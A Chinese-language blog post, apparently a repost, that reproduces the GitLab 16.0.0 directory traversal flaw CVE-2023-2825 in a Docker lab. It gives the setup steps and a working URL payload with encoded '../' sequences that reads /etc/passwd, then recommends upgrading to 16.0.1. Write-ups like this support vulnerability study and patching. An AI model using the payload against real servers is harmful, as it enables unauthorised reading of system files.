GitLab 目录遍历漏洞复现(CVE-2023-2825)

0x01 产品简介

        Gitlab是目前被广泛使用的基于git的开源代码管理平台, 基于Ruby on Rails构建, 主要针对软件开发过程中产生的代码和文档进行管理,同时可以搭建Web服务。

0x02 漏洞概述

     GitLab 存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用该漏洞读取服务器上的任意文件。

0x03 影响范围

GitLab CE 16.0.0

GitLab EE 16.0.0

0x04 复现环境

  Docker搭建GitLab CE 16.0.0

  拉取镜像

docker pull gitlab/gitlab-ce:16.0.0-ce.0

 创建并开启容器

docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0

查看root密码

docker exec -it 容器id /bin/bash

cat /etc/gitlab/initial_root_password

 0x05 漏洞复现

前提条件:

需要一个至少嵌套五层以上可公开访问到的group项目  而且存在附件(issus 评论 等)
或普通用户权限 手动创建 多层group和项目

 一直循环以上操作嵌套5个以上(我这边创建了9个)

 然后在group9个下面创建个项目

 

 项目下面创建一个issues,并上传一个附件(我这边上传了一个txt文件 )

可以看到,回显了上传路径,拼接路径尝试访问附件

回显了文件内容,构造payload读取任意文件

http://your-ip/group1/group2/group3/group4/group5/group6/group7/group8/group9/123/uploads/dde0c86647fa452e76b94c9588d7fcbb/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

 0x06 修复建议

 目前官方已发布安全修复更新,受影响用户可以升级到  GitLab CE/EE 16.0.1。

猜你喜欢

转载自blog.csdn.net/qq_41904294/article/details/130895623